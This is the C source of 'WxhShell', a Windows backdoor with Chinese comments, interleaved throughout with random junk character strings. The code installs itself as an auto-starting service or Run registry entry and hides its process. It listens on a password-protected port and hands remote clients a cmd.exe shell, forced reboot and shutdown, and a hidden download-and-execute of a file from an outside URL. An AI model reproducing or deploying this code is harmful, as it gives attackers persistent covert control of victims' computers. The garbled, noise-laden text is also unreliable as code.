ZTLb"a static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C3b0`|5 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mf]( 3ZL E2h;hr;W HANDLE hProcess; WQLHjGehe PROCESS_BASIC_INFORMATION pbi; t2-nCRXEP k`7.p,;}U HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Nzi/3r7m if(NULL == hInst ) return 0; R3{*v =ov %AEK[W+0 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KB,~u*~! g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tY$ty0y-e NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]k`Fl," 4'{hI;&a& if (!NtQueryInformationProcess) return 0; 3^A/`8R7K ,F?~'-K hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 28Ssb| if(!hProcess) return 0; b ?2X>QJ {c\oOM<7 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]~
#+b> `^&15?Wk CloseHandle(hProcess); Bsu=^z bDZKQ& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D=82$$ if(hProcess==NULL) return 0; RdvPsv}D D#/%*| HMODULE hMod; _Xk03\n6 char procName[255]; n<%=~1iY+ unsigned long cbNeeded; *t?~)o7 J+cAS/MYX if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SZK)q 4gv.E 0Fo CloseHandle(hProcess); yYG3/Z3u5 A1|7(Sow if(strstr(procName,"services")) return 1; // 以服务启动 A^4kYOe EBIa%, return 0; // 注册表启动 vNK`Y|u@ } ezg^5o; 0[2BY]`Z. // 主模块 (ifqwl62 int StartWxhshell(LPSTR lpCmdLine) FD
XWFJ { E*r SOCKET wsl; @tE&<[e BOOL val=TRUE; Rg8m4x w int port=0; s}[A4`EWH struct sockaddr_in door; ;o_V!<$ 43{_Y] if(wscfg.ws_autoins) Install(); s0\f9D n{.*El>{ port=atoi(lpCmdLine); W?"2;]( kyRh k\X if(port<=0) port=wscfg.ws_port; /jZaU` yUD_w WSADATA data; ~}7$uW0ol if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }DDVGs[ 2xL!PR- if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :_o] F setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _uO!N(k. door.sin_family = AF_INET; B8cBQ v door.sin_addr.s_addr = inet_addr("127.0.0.1"); )]c]el@y door.sin_port = htons(port); >/!7i3Ow- f%Z;05 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L@1,7@
closesocket(wsl); J$6-c'8 return 1;
JVUZ}#O } F_Z&-+,*3t b(.-~c(' if(listen(wsl,2) == INVALID_SOCKET) { Xr@l+zr closesocket(wsl); ih+*T1#:( return 1; D4=..; } IdV,%d{ Wxhshell(wsl); ,YP1$gj WSACleanup(); "<PoJPh [):{5hMA return 0; 97qtJ(ESI 5"-una>D } 9*}iBs &\J?[>EJ. // 以NT服务方式启动 V-D}U$fw VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sk6b`W7$ { ;mf4U85 DWORD status = 0; =_$XP DWORD specificError = 0xfffffff; 0On?{Bw qYgwyj=4 serviceStatus.dwServiceType = SERVICE_WIN32; kfMhw M8kP serviceStatus.dwCurrentState = SERVICE_START_PENDING; QHHW(InG< serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZdE>C serviceStatus.dwWin32ExitCode = 0; a)3O? Y serviceStatus.dwServiceSpecificExitCode = 0; Vl5SL{+D serviceStatus.dwCheckPoint = 0; _o@(wGeu# serviceStatus.dwWaitHint = 0; o}9M`[ 2Ueq6IuQ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !Y ;H(.A/ if (hServiceStatusHandle==0) return; N5pinR5 H Xt</ -` status = GetLastError(); iGG6Myp- if (status!=NO_ERROR) y-w2O] { Ujce |>Wn serviceStatus.dwCurrentState = SERVICE_STOPPED; `3f_d}b serviceStatus.dwCheckPoint = 0; ,{.zh&=4 serviceStatus.dwWaitHint = 0; U0NOU# serviceStatus.dwWin32ExitCode = status; w)45SZ. serviceStatus.dwServiceSpecificExitCode = specificError; B#HV20\?v SetServiceStatus(hServiceStatusHandle, &serviceStatus); +V)qep" return; }1U#Ve,=_ } t$U3|r nc3sty1` serviceStatus.dwCurrentState = SERVICE_RUNNING; E:u ReT serviceStatus.dwCheckPoint = 0; L*zbike serviceStatus.dwWaitHint = 0; (NGu9uJs if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e$CePLEj } %v5)s(Yu lhLnyg Uk // 处理NT服务事件,比如:启动、停止 *)MX%`Z} VOID WINAPI NTServiceHandler(DWORD fdwControl) <lC]>L { Um]p&phVL switch(fdwControl) Ze-MAt { u9TzZ case SERVICE_CONTROL_STOP: HG2N-<$ serviceStatus.dwWin32ExitCode = 0; -'I _*fu serviceStatus.dwCurrentState = SERVICE_STOPPED; k4S} #!
serviceStatus.dwCheckPoint = 0; l%rx#;=u serviceStatus.dwWaitHint = 0; p]wP36<S! { uz ]E_&2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); :|Z$3q } R;H?gE^m- return; g d z case SERVICE_CONTROL_PAUSE: aRbx serviceStatus.dwCurrentState = SERVICE_PAUSED; lkV6qIj break; ,VPbUo@ case SERVICE_CONTROL_CONTINUE: +p13xc?#j serviceStatus.dwCurrentState = SERVICE_RUNNING; -G8c5b[ break; VBu8}}Ql case SERVICE_CONTROL_INTERROGATE: z)5S^{( break; wb]*u7G
t/ }; #2h+dk$1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ds{{J5Um% } i\(\MzW*' M(qxq(#{U // 标准应用程序主函数 PKi_Zh.D int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GtF2@\ { kGpV;F==* Ee&hG[sx // 获取操作系统版本 }<SNO)h3 OsIsNt=GetOsVer(); vKU`C?,L GetModuleFileName(NULL,ExeFile,MAX_PATH); :bwM]k*$ =g@R%NDNV // 从命令行安装 |Dg;(i? if(strpbrk(lpCmdLine,"iI")) Install(); {T&v2u#S Y5HfN[u^7 // 下载执行文件 5 d+<EF+N if(wscfg.ws_downexe) { 4_tR9 w" if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Yy]T
J WinExec(wscfg.ws_filenam,SW_HIDE); :v`o6x8 } K>kLUcC7Z _WKJ<dB< if(!OsIsNt) { !/947Rn // 如果时win9x,隐藏进程并且设置为注册表启动 DMB"Y, HideProc(); xS"$g9o0 StartWxhshell(lpCmdLine); 5|{)Z]M%9 } !L77y^oV else UV4u.7y if(StartFromService()) kGm:VYf% // 以服务方式启动 R8tF/dx>7 StartServiceCtrlDispatcher(DispatchTable); .Y! :x=e else oAY_sg+ // 普通方式启动 _().t5< StartWxhshell(lpCmdLine); r:-WzH(Ms NH'iR!iGo return 0; mG_BM/$ } GJX4KA8J Y&s2C%jT `|]e6Pb }'lNi^"XL =========================================== Q!K`e )R uyFn}y62 B
s,as NgHpIonC ,>u=gA&} " \:ced " &s:=qQa1 @;m$ua*|: #include <stdio.h> +3Y!xD?= #include <string.h> h'l^g%; #include <windows.h> 84'?um #include <winsock2.h> O-j$vzHpdY #include <winsvc.h> {7X#4o0 #include <urlmon.h> ('t kZt%8 >!}`%pk( #pragma comment (lib, "Ws2_32.lib") ,d|vP)SS #pragma comment (lib, "urlmon.lib") Tw//!rpG n>P!u71 #define MAX_USER 100 // 最大客户端连接数 A:eG5K} #define BUF_SOCK 200 // sock buffer _R7 w?!t8 #define KEY_BUFF 255 // 输入 buffer t}Ss=0dJO Tr&E4e #define REBOOT 0 // 重启 o'Pu'y #define SHUTDOWN 1 // 关机 A
W)a">| t[EfOQ #define DEF_PORT 5000 // 监听端口 (;}tf~~r #.<V^ #define REG_LEN 16 // 注册表键长度 6^;^rUlm #define SVC_LEN 80 // NT服务名长度 2zK"*7b? s*Ih_Ag=: // 从dll定义API r~8;kcu7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DZe}y^F typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5lTD]d typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q.k
:\m*h typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /s
c.C ]>Si0% // wxhshell配置信息 M^6$
MMx struct WSCFG { W&(f&{A int ws_port; // 监听端口 LmQ/#Gx char ws_passstr[REG_LEN]; // 口令 Z)&D`RCf int ws_autoins; // 安装标记, 1=yes 0=no =-~;OH/ char ws_regname[REG_LEN]; // 注册表键名 cS|VJWgTZ char ws_svcname[REG_LEN]; // 服务名 (R'+jWH char ws_svcdisp[SVC_LEN]; // 服务显示名 Fk1.iRVzi char ws_svcdesc[SVC_LEN]; // 服务描述信息 |;u}sX1t9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s-k_d< int ws_downexe; // 下载执行标记, 1=yes 0=no z<pJYpxH char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \cQ .|S char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R#(G%66
s
/%:dnij }; 7
({=* s&'BM~WI // default Wxhshell configuration !gH9 ay struct WSCFG wscfg={DEF_PORT, ~O;y?]U "xuhuanlingzhe", K>1X}ZMdD( 1, @(:v_l "Wxhshell", hVP
IHQt "Wxhshell", n#*`!# "WxhShell Service", ~|lIC !q "Wrsky Windows CmdShell Service", `qiQ$kz "Please Input Your Password: ", gUVn;_ 1, +l?; ) "http://www.wrsky.com/wxhshell.exe", 9`"DFFSMS "Wxhshell.exe" f:xWu- }; dvjTyX *8)2iv4[ // 消息定义模块 W
f@t4(i char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ALGgAX3t char *msg_ws_prompt="\n\r? for help\n\r#>"; <L2emL_' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -2i\G .,J char *msg_ws_ext="\n\rExit."; V5"HwN+` char *msg_ws_end="\n\rQuit."; dqe7s Zl! char *msg_ws_boot="\n\rReboot..."; X=~V6m char *msg_ws_poff="\n\rShutdown..."; b |7ja_ char *msg_ws_down="\n\rSave to "; Y )b@0' ZPO|<uR char *msg_ws_err="\n\rErr!"; 7*s8ttX char *msg_ws_ok="\n\rOK!"; R Fko>d "Xn%at4 char ExeFile[MAX_PATH]; $/_qE int nUser = 0; 0a2@b"l HANDLE handles[MAX_USER]; cDV^8 R int OsIsNt; $h28(K% Veji^-0E SERVICE_STATUS serviceStatus; w([$@1] SERVICE_STATUS_HANDLE hServiceStatusHandle; [@"wd_f{l H4<Nnd\ // 函数声明 *P2[qhP2 int Install(void); Qw)9r{f int Uninstall(void); @5<CXTdF9c int DownloadFile(char *sURL, SOCKET wsh); SH8/0g? int Boot(int flag); fgF;&(b void HideProc(void); .px:e)iW int GetOsVer(void); wW`}VKu int Wxhshell(SOCKET wsl); o-eKAkh void TalkWithClient(void *cs); ijUzC>O+q int CmdShell(SOCKET sock); ]hTb@. int StartFromService(void); O}Le]2' int StartWxhshell(LPSTR lpCmdLine); HDIk9WC^ +S~.c;EK VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cg!^S(U4 VOID WINAPI NTServiceHandler( DWORD fdwControl ); X-JV'KE}^z HGDVOJq // 数据结构和表定义 >q7
%UK]& SERVICE_TABLE_ENTRY DispatchTable[] = 7#-y-B]l { c-CYdi@ {wscfg.ws_svcname, NTServiceMain}, }zMf7<C {NULL, NULL} (P@Y36j>N }; -50AX1h31: t\R; < x // 自我安装 Y2T$BJJ int Install(void)
K5"sj|d& { =-jD~rN4;P char svExeFile[MAX_PATH]; (f1M'w/OD HKEY key; fA^Em)cs2 strcpy(svExeFile,ExeFile); k%Vv?{g 4$"DbaC // 如果是win9x系统,修改注册表设为自启动 GJQc!cqk if(!OsIsNt) { 2x}6\t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \t.}-u<7{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RKkGITDk RegCloseKey(key); <94G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {aj/HFLNY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d?L\pN& RegCloseKey(key); Un@\kAY return 0; 1dG06<! } zlf}. } 3 <SqoJSp } 46,j9x else { ;;&F1@3tBa 1B:aC|B // 如果是NT以上系统,安装为系统服务 pP/@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
<!'M} s if (schSCManager!=0) x:z0EYL { WjMRH+ SC_HANDLE schService = CreateService t#b0H)
( .p@N:)W6 schSCManager, <,8l *1C wscfg.ws_svcname, 2qj{n+ wscfg.ws_svcdisp, |X (2Zv^O SERVICE_ALL_ACCESS, /Jlv"R1, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eti`O SERVICE_AUTO_START, 'jaoO9KY
K SERVICE_ERROR_NORMAL, >|udWd^$3 svExeFile, T] | d5E NULL, JWHSnu! NULL, r|R7-HI NULL, :#X[%"g. NULL, <+]f`c*Z NULL q&si% ); _PXdzeI. if (schService!=0) 3C^1frF { ^PqF<d6 CloseServiceHandle(schService); +V8b CloseServiceHandle(schSCManager); {]/8skov5] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Zz"}Cz:bX strcat(svExeFile,wscfg.ws_svcname); KS<Jv; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xAdq+$>< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d>i13dAI RegCloseKey(key); Z`_.x
&Y return 0; Wk7WK` >i } #G;X' BN } q~Jq/E"f CloseServiceHandle(schSCManager); SS3-+<z } fC<m^%*zgA } z@h~Vb&I s3 QEi^~ return 1; "^rNr_ } trYTs,KV z'MS#6|} // 自我卸载 ?b:_AO& int Uninstall(void) ?9KGnOVu { *e4TSqC| HKEY key; r/r:oXK S%6U~@hig if(!OsIsNt) { [_!O<z_sB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rY}B-6qJn RegDeleteValue(key,wscfg.ws_regname); f`P9ku#j} RegCloseKey(key); Qi=*1QAkr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i$Z#9M9 RegDeleteValue(key,wscfg.ws_regname); M?@pN<| RegCloseKey(key); _m'ysCjA return 0; 4ke^*g
K< } b:MG@Hxc } *|RS*ABte } :`W|hE^ else { :c8^db`" 46XN3r SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0|Ucd if (schSCManager!=0) $99R| ^ { ?d-70pm SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JLm
@Ag if (schService!=0) "4 k-dj { ?]!vRmZ; if(DeleteService(schService)!=0) { ^Kq|ID
AP CloseServiceHandle(schService); %xlpB75N4N CloseServiceHandle(schSCManager); 1y[B[\ return 0; HOPqxI(k } !:
us!s CloseServiceHandle(schService); 5K.+CO< } m_lrPY- CloseServiceHandle(schSCManager); v'ay.oVzw } =>LZm+P } RU_L<Lpi ME+em1ZH return 1; S+I^!gT } AV4~U:vU dHII.=lT // 从指定url下载文件 ycpE=fso' int DownloadFile(char *sURL, SOCKET wsh) l4T:d^Eb { Q,e*#oK3$ HRESULT hr; WZ~> BM char seps[]= "/"; fI:H8 char *token; b9("DZW; char *file; Ps>&"k$T char myURL[MAX_PATH]; kC$I2[ t! char myFILE[MAX_PATH]; O|z%DkH[ |C-y}iQ:6~ strcpy(myURL,sURL); u-><}OVf~ token=strtok(myURL,seps); TOT
PzB while(token!=NULL) S/Oxr%H { \<65??P file=token; H5M#q6`H6 token=strtok(NULL,seps); 3H8Al } )%j" /lH'hcXcX GetCurrentDirectory(MAX_PATH,myFILE); pj|X]4?wdI strcat(myFILE, "\\"); ;}4k{{K strcat(myFILE, file); L;)v&a7[P send(wsh,myFILE,strlen(myFILE),0); pXW`+<g0 send(wsh,"...",3,0); 8(lCi$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Lb~\Yn'z if(hr==S_OK) {bkGYx5.C return 0; X;EJ&g/ else |]ucHV return 1; KwFXB h~UJCnzS } u0]q`u/T 04JT@s"o // 系统电源模块 zSgjp\ int Boot(int flag) LDQ
e^ { 0XIxwc0Iw HANDLE hToken; I'InZ0J2 TOKEN_PRIVILEGES tkp; AQh["1{yJ H1T~u{8j} if(OsIsNt) { KH}t:m+h OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uPDaq ]A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3$_2weZxYn tkp.PrivilegeCount = 1; UR:n5V4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ScJu_Af AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [W(Y3yyY if(flag==REBOOT) { K&S@F!#g if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S0xIvzS return 0; Vy;_GfT$ } T`Hw49 else { +x]e-P% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C*pLq5s return 0; uUS)#qM| } ^
f{qJ[, } Q8Te'1Ln! else { ^H!Lp[5c if(flag==REBOOT) { i+ic23$4M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r@|ZlM@O return 0; l<N?' & } -$R5 else { P"Rk?lL if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4 return 0; z7q%,yw3N } (xUFl@I! } eT\p-4b { _X#fq0} return 1; vnZ/tF } (`mOB6j U_Y;fSl> // win9x进程隐藏模块 n/-N;'2J void HideProc(void) 4vGbG:x { *1v_6<;2i< T &*eOr HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .~,^u if ( hKernel != NULL ) V=9Bto00 { }wL3mVz pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !F,s" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !Bncx`pl FreeLibrary(hKernel); i*A$SJ:} } ^Kum%<[i UP*yeT,P, return; u[J7Y } 9/H^t*5t x`3.Wu\ // 获取操作系统版本 R\
e#$"a5 int GetOsVer(void) 4ioNA/E { d#Wn[h$" OSVERSIONINFO winfo; ;]u1~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w6v1 q:20 GetVersionEx(&winfo); U\;Ml if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yh$ ~*UV return 1; ?a8nz, zb else |nfH-JytV return 0; Bf(Mot^ } 04[)qPPS dcR6KG 8 // 客户端句柄模块 y|LXDq4Wj int Wxhshell(SOCKET wsl) 6d(b'S^ { 5Wl,J _<F SOCKET wsh; (ai72#nFtb struct sockaddr_in client; C64eDX^ DWORD myID; -%N}A3m!5 rZ 6@b while(nUser<MAX_USER) rl41#6 { a6 * Y%? int nSize=sizeof(client); {cX7<7N wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B8>FCF&}E if(wsh==INVALID_SOCKET) return 1; 2nYiG)tg roL]v\tr handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G dL4|xv if(handles[nUser]==0) 3XBp6` closesocket(wsh); 25w6KBTe;: else Z#[>N,P nUser++; v@]6<e$ } {<~s&EPd WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =b|)Wnt2f BD?F`%-x return 0; J$<:/^t } ,at-ci\' RNl\`>Cz // 关闭 socket =7H.F:BBG void CloseIt(SOCKET wsh) 64;oB_ { }%
FDm@+ closesocket(wsh); bmSpbX\ nUser--; }.w#X ExitThread(0); >n#g9v K } FC~|& 18J.vcP // 客户端请求句柄 2>`m<&y void TalkWithClient(void *cs) ^glbxbhI4 { 1h&)I%`? P=}H1# SOCKET wsh=(SOCKET)cs; zl,bMtQ char pwd[SVC_LEN]; rZb_1E< char cmd[KEY_BUFF]; B/:>{2cm char chr[1]; ~7KynE int i,j; )sMAhk| *yL|} while (nUser < MAX_USER) { $Cut ]5aux
>.n if(wscfg.ws_passstr) { hVROzGZk if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }u38:(^`ai //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
alWx=+d //ZeroMemory(pwd,KEY_BUFF); \E>%W i=0; tOu90gu while(i<SVC_LEN) { vK[v
eFH tP/GDC; // 设置超时 cob9hj#&7 fd_set FdRead; K[`4vsE struct timeval TimeOut; -zkW\O[ FD_ZERO(&FdRead); 1nw$B[ FD_SET(wsh,&FdRead); iW1$!l>v TimeOut.tv_sec=8; uQXs>JuD TimeOut.tv_usec=0; \5j22L9S int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q'>_59 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hCSRsk3 W ??;4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }A)^XZ/ pwd=chr[0]; F&>T-u-dog if(chr[0]==0xd || chr[0]==0xa) { mkKRC; pwd=0; 'Y,+D`&i) break; hqwz~Ky} } 3ZT/>a>@ i++; 0e[ tKn( } L|dab{9 WW,r9D:/ // 如果是非法用户,关闭 socket \" 5F;J if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !nZI? z ; } z+5u/t bw<~R2[ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GN}9$: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6x`\
J2x od|N-R while(1) { Y2ah zB Q&:92f\y ZeroMemory(cmd,KEY_BUFF); =rs=8Ty?S @k#z&@b // 自动支持客户端 telnet标准 H>@JfYZ0 j=0; "!w[U{ while(j<KEY_BUFF) { :7 s#5b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); * wQZ' cmd[j]=chr[0]; q/aL8V<"z if(chr[0]==0xa || chr[0]==0xd) { {HE.mHy cmd[j]=0; _KT]l./ break; >Gw%r1) } A[wxa j++; noB}p4 } K!$\REs ;dpS@;v // 下载文件 PHE; if(strstr(cmd,"http://")) { O23]!S<; send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3XYIb Xnk if(DownloadFile(cmd,wsh)) PLY-,Q&' send(wsh,msg_ws_err,strlen(msg_ws_err),0); 10QNV=yK7s else */fs.G:P send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cfO^CC } iNaC ZC else { %WXVfkD AQ_#uxI'oa switch(cmd[0]) { 3n=O8Fp !W6 // 帮助 *N&^bF"SF case '?': { 7lBQd ( send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }f0^9( break; Fg}5V, } 2EI m // 安装 7\|NYT4 case 'i': { GoZJDE3 if(Install()) JUUF^/J send(wsh,msg_ws_err,strlen(msg_ws_err),0); IhFw {=2* else NnSI)*%' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "S:NU.c? break; *+1"S ]YF } u9y-zhj_$ // 卸载 SE7 (+r case 'r': { t]YLt , if(Uninstall()) Ltq*Vcl\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Jx2"0:M else XxrO:$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /F break; |M{,}.*CU } ysw6hVb // 显示 wxhshell 所在路径 ?X5glDZ$ case 'p': { SieV%T0t1 char svExeFile[MAX_PATH]; ~{]m8a/ `6 strcpy(svExeFile,"\n\r"); 28ov+s~1+- strcat(svExeFile,ExeFile); V'BZ=.= send(wsh,svExeFile,strlen(svExeFile),0); ^.$r1/U break; p%YvP } +~v3D^L15 // 重启 .L5T4) case 'b': { 2H32wpY
,l send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9FR1Bruf if(Boot(REBOOT)) ]Rys=.! send(wsh,msg_ws_err,strlen(msg_ws_err),0); :_b
=Km< else { 'E6gEJ closesocket(wsh); xhoLQD ExitThread(0); H2tpP~!G } oXZ@* break; 5)zj){wL }
Dg2#Gv0B // 关机 [3;Y:&D case 'd': { C&#KdvN/r send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uEi.nSp)S if(Boot(SHUTDOWN)) &>^Ympr send(wsh,msg_ws_err,strlen(msg_ws_err),0); m{=~|I else { :!it7vZ closesocket(wsh); +^% &8< ExitThread(0); 1'._SMP } *Uw# break; $hY]EB } T>:g
ME // 获取shell =v#A&IPA' case 's': { J$=b&$I( CmdShell(wsh); SoON@h/ closesocket(wsh); /3:IE%o ExitThread(0); YdL1(|EdM break; ,EJ [I^ } Y_iF$m/R // 退出 e+[J[<8 case 'x': { A.cZa send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z_iyuLRdb CloseIt(wsh); /iJhCB[QZ break; $S-;M0G
x } \#*;H|U.x // 离开 5O;oo@A:[ case 'q': { b}{9
:n/SC send(wsh,msg_ws_end,strlen(msg_ws_end),0); >|&OcU closesocket(wsh); ba:du
|Ec WSACleanup(); RgzSaP;; exit(1); T!eh?^E break; 8X~vJ^X9@y } 5r}(|86O/ } VlXy&oZ } ~$&r(9P O%h
97^%k // 提示信息 w+TuS). if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FXwK9
% } yA )+- } {*P7) 9(gOk return; MicVNs } f#-T%jqnK we).8%)' // shell模块句柄 ]R.Vq\A%S int CmdShell(SOCKET sock) )ZT0zIG { @T=HcUP) STARTUPINFO si; rQ-z2Pw ZeroMemory(&si,sizeof(si)); k |aOUW si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~w}[
._'#M si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d:WhP_rK9 PROCESS_INFORMATION ProcessInfo; +o70:UF % char cmdline[]="cmd"; *:\9T#h CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `pS)qx.a return 0; H
{Wpf9_
K } ) x O_ z_0 lMX` // 自身启动模式 T%#P??k int StartFromService(void) V<I${i$]0 { g.VIe typedef struct #)eJz1~ { T#;*I#A: DWORD ExitStatus; (ZR"O8 DWORD PebBaseAddress; SPm5tU DWORD AffinityMask; s~ZC!- [; DWORD BasePriority; aV%rq9Tp ULONG UniqueProcessId; *LQY6=H ULONG InheritedFromUniqueProcessId; L6}x3 } PROCESS_BASIC_INFORMATION; [5d][1= 5'[X&r%# PROCNTQSIP NtQueryInformationProcess; u\;dUnr q2pao?aa static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y:Ab5/bHy static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C3h!?5 t#{>y1[29 HANDLE hProcess; !d@`r1t PROCESS_BASIC_INFORMATION pbi; )/^$JYz &x5ZEe4 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'aWZ#GS* if(NULL == hInst ) return 0; oYM3$.{E fmN)~-DV9` g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H%%nB g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0cU^ue% NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I,uu>- c&W.slE6 if (!NtQueryInformationProcess) return 0; 7VBw@Rh 7anpz% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 31 ;T$5 v1 if(!hProcess) return 0; uzA'D ~)P 6KTY`'I if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >mltE$| z=pV{' CloseHandle(hProcess); .T
